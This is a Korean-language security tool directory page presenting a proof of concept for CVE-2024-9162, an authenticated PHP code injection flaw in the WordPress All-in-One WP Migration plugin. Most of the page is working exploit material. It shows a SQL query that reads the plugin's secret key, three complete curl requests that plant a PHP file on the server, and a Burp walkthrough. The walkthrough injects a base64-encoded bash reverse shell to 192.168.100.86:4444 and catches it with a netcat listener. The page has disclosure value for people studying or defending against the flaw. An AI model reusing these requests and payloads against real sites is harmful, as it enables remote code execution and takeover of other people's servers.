Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-9162 — All-in-One WP Migration and Backup <= 7.86 - 인증된 (Administrator+) 임의 PHP 코드 삽입 | Kitploit
도구/GitHubGitHub/d0n601/cve-2024-9162
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2024-9162

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - 인증된 (Administrator+) 임의 PHP 코드 삽입

저장소 보기
721년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - 인증된 (관리자 이상) 임의 PHP 코드 삽입

WordPress용 All-in-One WP Migration 플러그인은 7.86 이하의 모든 버전에서 내보내기 중 파일 유형 검증 누락으로 인해 임의 PHP 코드 삽입에 취약합니다. 이를 통해 관리자 이상의 접근 권한을 가진 인증된 공격자가 영향을 받는 사이트 서버에 .php 확장자를 가진 내보내기 파일을 생성하고, 여기에 임의의 PHP 코드를 추가하여 원격 코드 실행이 가능해질 수 있습니다.

TL;DR 익스플로잇

  • CVE-2024-9162.sh
  • CVE-2024-9162.py

세부 정보

ai1wm_secret_key는 플러그인이 초기화될 때 생성되는 12자 영숫자 문자열입니다. 이 키는 절대 교체되지 않으며, 만료되지 않으며, wp_options 테이블에 평문으로 저장됩니다.

root@kitploit:~
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

기본 개념 증명:

이 방법은 phpinfo(); 호출을 포함하는 php 파일을 생성하며, 수동 재현 섹션에 나와 있는 것처럼 더 나은 페이로드로 대체할 수 있습니다. secret key 매개변수 외에는 인증이 필요하지 않습니다.

root@kitploit:~
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

2024-08-13 15-36-42 스크린샷

수동 재현 방법:

이 단계를 통해 생성된 php 파일은 먼저 wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php에 나타난 후 스크립트에 의해 삭제되고 wp-content/ai1wm-backups/reverse_shell.php로 이동된다는 점에 유의해야 합니다.

  • 로그인한 후, All-in-One WP Migration 내보내기를 클릭하여 "사이트 내보내기" 페이지에 접속합니다.

    • 2024-08-12 15-40-48 스크린샷
  • 데이터베이스에서 찾기 * 바꾸기 <another-text>를 사용합니다.

    • 찾기 상자에 *를 입력합니다.
    • 제작한 PHP 페이로드(phpinfo();, 웹쉘 등)를 바꾸기 상자에 입력합니다.
      • 리버스 쉘 예시: <?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>. 이는 exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");으로 디코딩됩니다.
    • 2024-08-12 15-38-01 스크린샷
  • Burp 또는 유사한 도구를 설정하고 트래픽을 프록시로 캡처한 후, 녹색 "내보내기 대상 -> 파일" 옵션을 클릭합니다.

    • 2024-08-12 15-42-30 스크린샷
    • 2024-08-12 15-39-38 스크린샷
  • 첫 번째 요청을 조작 없이 전달합니다: .

도구 다운로드
POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1
  • 전달: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.

  • POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2 요청을 가로챕니다.

    • archive 매개변수를 원하는 이름으로 수정하고 .php 확장자를 추가한 후 요청을 전달합니다.
    • root@kitploit:~
        POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
        Host: wordpress.hacker
        Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 883
        Origin: https://wordpress.hacker
        Dnt: 1
        Sec-Gpc: 1
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
              action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
      
    • 2024-08-12 15-28-15 스크린샷
    • 가로채기를 끄고 작업이 완료되어 화면에 다운로드 버튼이 나타날 때까지 나머지 모든 요청이 통과하도록 합니다.
      • 2024-08-12 15-30-06 스크린샷
    • 다운로드 링크가 페이로드를 포함한 PHP 파일(https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php)로 연결된다는 점에 주목하세요.
    • 공격 머신에서 리버스 쉘을 잡기 위해 netcat 리스너를 실행합니다: nc -lnvp 4444.
    • 다운로드 버튼을 클릭하여 리버스 쉘을 획득합니다.
      • 2024-08-12 15-34-27 스크린샷